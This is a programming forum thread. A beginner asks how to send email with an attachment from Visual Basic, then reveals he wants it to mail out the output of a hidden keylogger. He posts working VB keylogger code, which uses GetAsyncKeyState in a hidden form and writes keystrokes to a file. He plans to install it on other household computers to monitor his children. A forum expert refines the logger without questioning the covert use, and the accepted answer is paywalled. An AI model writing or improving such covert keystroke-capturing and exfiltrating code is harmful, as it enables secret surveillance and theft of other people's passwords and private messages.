Link to home
Start Free TrialLog in
Avatar of Redhotdragon
Redhotdragon

asked on

email with attatchment

Hi, im a noob.

I know a bit of Visual Basic, but not too much. My knowledge certainly pales in comparison with you guys. Thus, I have come to seek your help.

I am trying to send an email with an attachment via visual basic, there doesn't need to be any text or anything. How do i go about doing this?
Sorry for the large scope of the question, or if i sound like a right idiot...
Avatar of Amro Osama
Amro Osama
Flag of Egypt image

dont say that man ,, we all learn here,,  no matter the sum of knowledge someone has,, the more important is that you persist on learning and knowing more and more
Avatar of EmranHasan
EmranHasan

Hi There,

I have my own code for sending mail with attachment. Its too large to be posted here. Let me know if you're interested.

Thanks

Md Emran Hasan
One of the favorites. This is a free activex to send emails through VB:
http://www.freevbcode.com/ShowCode.Asp?ID=109
bingie types lesser words and won the race :-)
:-)..thats one of the most common paste-ins..
:-) I agree and one of the best activex I have used
Avatar of Redhotdragon

ASKER

Thanks guys.
I like the activex :) could someone explain every thing in there? Or is that too much to ask...I just don't like adding code unless i know just what it is im adding...
Md Emran, if you could email me the code with explanations...I'd be very greatful.
Thanks all
~rhd
There is a full documentation included in the package in MS Word format....It explains everything.

Bingie
Here's what im acutally trying to do..
I wrote this code:

Dim result, FileNumber As Integer
Dim log As String


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Timer1_Timer()

Form1.Visible = False

FileNumber = FreeFile



For i = 32 To 128

result = 0
result = GetAsyncKeyState(i)

    If result = -32767 Then
        Text1.Text = Text1.Text + Chr(i)
        log = Text1.Text
        Open "C:\Windows\logfilekey.txt" For Append Access Write As #FileNumber
        Write #FileNumber, log
        Close #FileNumber
    End If
   
Next i

End Sub

It is supposed to log all the keys i type, so that i can recover them if i accidently close an application without saving all my work. First of all, is this code efficient?
I would also like to put this code on other computers in the house so as to monitor what my children type and so i would like it to send me an email of the log file. How would i go about doing this?

Thanks..I've put all the points i have in...and i don't have that many!

Rhd
they way you try to record keystrokes with looks like the following when you open the logfile:

"H"
"HI"
"HI "
"HI M"
"HI MA"
"HI MAN"
"HI MAN "
"HI MAN H"
"HI MAN HO"
"HI MAN HOW"
"HI MAN HOW "
"HI MAN HOW A"
"HI MAN HOW AR"
"HI MAN HOW ARE"
"HI MAN HOW ARE "
"HI MAN HOW ARE Y"
"HI MAN HOW ARE YO"
"HI MAN HOW ARE YOU"
"HI MAN HOW ARE YOU "
"HI MAN HOW ARE YOU T"
"HI MAN HOW ARE YOU TO"
"HI MAN HOW ARE YOU TOD"
"HI MAN HOW ARE YOU TODA"
"HI MAN HOW ARE YOU TODAY"
"HI MAN HOW ARE YOU TODAY "
"HI MAN HOW ARE YOU TODAY  "
"HI MAN HOW ARE YOU TODAY  D"
"HI MAN HOW ARE YOU TODAY  DI"
"HI MAN HOW ARE YOU TODAY  DID"
"HI MAN HOW ARE YOU TODAY  DIDN"
"HI MAN HOW ARE YOU TODAY  DIDNT"

you are repeating all the input every time ,, if you want only to record all the keystrokes
which is in this case the last line every time you'll better do this
===================================================

Dim logx As String

Private Sub Form_Load()
Form1.Visible = False
End Sub


Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.txt" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub
================================================

Wanna hear you comment on this
ASKER CERTIFIED SOLUTION
Avatar of Amro Osama
Amro Osama
Flag of Egypt image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial